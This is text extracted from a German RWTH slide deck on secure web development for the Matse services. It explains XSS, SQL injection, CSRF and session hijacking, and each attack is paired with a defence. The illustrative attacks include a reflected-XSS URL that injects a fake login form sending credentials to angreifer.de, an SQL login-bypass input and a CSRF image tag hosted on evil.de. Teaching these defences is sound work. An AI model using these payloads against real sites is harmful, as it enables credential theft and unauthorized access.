PowerPoint-Präsentation - RWTH
Werbung
Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen Rechen- und Kommunikationszentrum (RZ) Inhaltsverzeichnis Motivation Angriffstechniken Ablauf/Vorgehen des Angreifers Abwehrmaßnahmen Matse-Dienste Überblick Abwehrmaßnahmen Fazit 2 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Motivation 3 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Motivation Verdeutlichung der Relevanz von Sicherheit Software- und Webentwickler Endbenutzer Überprüfung der Matse-Dienste auf Sicherheitslücken Sind eventuell welche vorhanden? Welche Sicherheitsvorkehrungen wurden getroffen ? 4 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Angriffstechniken 5 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Angriffstechniken Cross-Site-Scripting Ablauf Gegenmaßnahmen SQL Injection Cross-Site-Request-Forgery Session Hijacking 6 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Cross-Site-Scripting 7 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Cross-Site-Scripting (XSS) Manipulation einer Webseite durch HTML 3 Arten: 1. Reflektives XSS: Einmalige Interpretation der übermittelten HTML-Tags 2. Persistentes XSS: HTML-Code wird abgespeichert Dadurch Übermittelung der Daten an mehrere Personen/Browser 3. Lokales XSS: Der Browser lädt den Schadcode selber nach Verwendung des HTML-Tags <script> 8 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Beispiel: Ablauf Reflektives XSS Ausgangspunkt: URL: http://www.example.com/?search=test 9 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Beispiel: Ablauf Reflektives XSS Manipulierte Webseite: URL: http://www.example.com/?search=<br%2F>+Please+Login+to+ continue%3A+<form+action%3D„htttp://angreifer.de/attacke.php">+ Username%3A+<input+type%3D"text+name%3D„name">+ <br%2F>+Password%3A+<input+type%3D"text"+name%3D"pwd">+ <br%2F>+<input+type%3D"submit"+value%3D"Login">+ <%2Fform>+<br%2F> 10 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Abwehrmaßnahmen Verhindern der Interpretation von ungewollten HTML-Tags Maskierung der eingegeben Daten PHP Funktion: htmlspecialchars() Dadurch Maskierung der HTML-Tags: <script> = &lt;script&gt; Ausgabe nach Verwendung von htmlspecialchars(): You searched for <br%2F>+Please+Login+to+continue%3A +<form+action%3D„http://www.angreifer.de/attacke.php">+Username%3A+<input+type%3D"text+name%3D"login">+ <br%2F>+Password%3A+<input+type%3D"text"+name%3D"pwd">+<br%2F>+<input+type%3D"submit"+ value%3D"Login">+<%2Fform>+<br%2F> 11 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum SQL Injection 12 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum SQL Injection Angriff auf Datenbanksysteme Benutzereingaben werden in Statement eingebettet Verwendung von SQL Statements durch Befehle wie: DROP UPDATE DELETE WHERE 13 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Beispiel: SQL Injection Datenbanktabelle „user“ : 14 ID name password 1 Admin root123 2 ExampleUser passwd123 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Beispiel: Ablauf SQL Injection SQL Statement: SELECT id FROM user WHERE name='$name' AND password='$password'; Benutzer PC Eingabe: ExampleUser , passwd123 SELECT id FROM user WHERE name='ExampleUser' AND password='passwd123'; 15 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Beispiel: Ablauf SQL Injection SQL Statement: SELECT id FROM user WHERE name='$name' AND password='$password'; Angreifer PC Eingabe: ExampleUser , ' OR name='ExampleUser SELECT id FROM user WHERE name='ExampleUser' AND password='' OR name='ExampleUser'; 16 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Abwehrmaßnahmen Verhindern der Interpretation von ungewollten SQL Befehlen Verwendung von Prepared Statements (vorbereitete Anweisungen mit Platzhaltern für Daten) $sql = 'SELECT * FROM beispiel WHERE name=:nachname'; $sth = $dbh->prepare($sql); $sth->bindValue(":nachname", $var); $sth->execute(); Statement wird mit Platzhaltern kompiliert SQL Befehle in Variablen werden nur eingefügt 17 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Cross-Site-Request-Forgery 18 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Cross-Site-Request-Forgery (CSRF) Gefälschte Anfrage erzwingen Angreifer schickt über den Browser des Benutzers eine Anfrage an den Webserver Manipulation einer Webseite durch HTML Manipulation einer Webseite damit die gefälschte Anfrage versendet wird 19 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Beispiel: Ablauf CSRF Besucher besitzt einen Account bei forum.de http://www.forum.de/login.php http://www.forum.de/logout.php Webserver evil.de Webserver forum.de http://www.evil.de <img src="http://www.forum.de/logout.php"> PC Status: Angemeldet Offline 20 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Abwehrmaßnahmen Überprüfung der Anfrage: Generierung eines Schlüssels zur Identifikation Zufällige Zeichenkette Gilt entweder für einen Request oder gesamte Sitzung Vorhanden auf Server- sowie auf Clientseite 21 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Abwehrmaßnahmen Besucher besitzt einen Account bei forum.de http://www.forum.de/login.php http://www.forum.de/logout.php Webserver evil.de Schlüssel='AdEzHdf..' Webserver forum.de KeinSchlüssel= Schlüssel 'AdEzHdf..' !!! http://www.evil.de <img src="http://www.forum.de/logout.php"> PC Status: Angemeldet Schlüssel='AdEzHdf..' 22 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Session Hijacking 23 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Session Hijacking Übernahme der Sitzung eines Benutzers Angreifer erlangt Zugriff auf Webapplikation Angreifer erhält Rechte des Benutzers Verwendung von Software wie z.B.Wireshark oder Firesheep 24 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Beispiel: Ablauf Session Hijacking Ungesichertes WLAN Netzwerk ID = ACF3... Kommunikation mit Login Session ID PC Session ID= ACF3D35F21… Webserver Abhören der ID Session ID= ACF3D35F21… Kommunikation mit Session ID PC ID = ACF3... 25 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Abwehrmaßnahmen Verhindern des Auslesens der Sitzungsdaten Verschlüsseln der Informationen Dazu HTTPS ( Hypertext Transfer Protocol Secure) HTTPS: Verschlüsselung und Authentifizierung zwischen Webserver und Browser 26 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Matse-Dienste 27 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Matse-Dienste Überblick Gegenmaßnahmen Cross-Site-Scripting Cross-Site-Request-Forgery Session Hijacking 28 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Überblick 29 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Überblick 30 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Abwehrmaßnahmen Cross-Site-Scripting Session Hijacking Cross-Site-Request-Forgery 31 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Abwehr Cross-Site-Scripting 32 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Matse-Dienste Abwehrmaßnahmen: Cross-Site-Scripting Trennung von Code und Ausgabe Verwendung von Template Engine Smarty (PHP-Bibliothek) Smarty 33 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Abwehr Session Hijacking 34 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Matse-Dienste Abwehrmaßnahmen: Session Hijacking Kooperation mit der Benutzerverwaltungssoftware Shibboleth 35 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Matse-Dienste Abwehrmaßnahmen: Session Hijacking Ablauf Anmeldung: Benutzer führt ein Login bei Shibboleth durch Shibboleth authentifiziert den Benutzer und übermittelt Daten mittels HTTPS TIM-ID und über HTTPS generierte Sitzungs-ID 36 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Abwehr Cross-Site-Request-Forgery 37 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Matse-Dienste Abwehrmaßnahmen: Cross-Site-Request-Forgery Matse-Dienste eigene CSRF-Klasse POST-Formular mit Hidden Feld und enthaltenem Token Generiert durch Webserver und dem Benutzer zugeteilt Ablauf: Browser schickt ein Formular ab Formular wird über mitgesendetes Token authentifiziert und abgearbeitet 38 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Fazit 39 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Fazit Erkenntnisse: 1. Viele Möglichkeiten Systeme zu kompromittieren 2. Vorgestellte Themen nur ein kleiner Anteil 3. Matse-Dienste soweit abgesichert Trotzdem: 1. Programme/Software werden weiterentwickelt Dadurch können neue Sicherheitslücken entstehen 2. 40 Neue Angriffstechniken entstehen Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Fazit Aspekt der Sicherheit kein einmaliger Faktor sondern ein dauerhafter Prozess der Analyse und Behebung 41 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum Fragen ? 42 Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen| Rechen- und Kommunikationszentrum
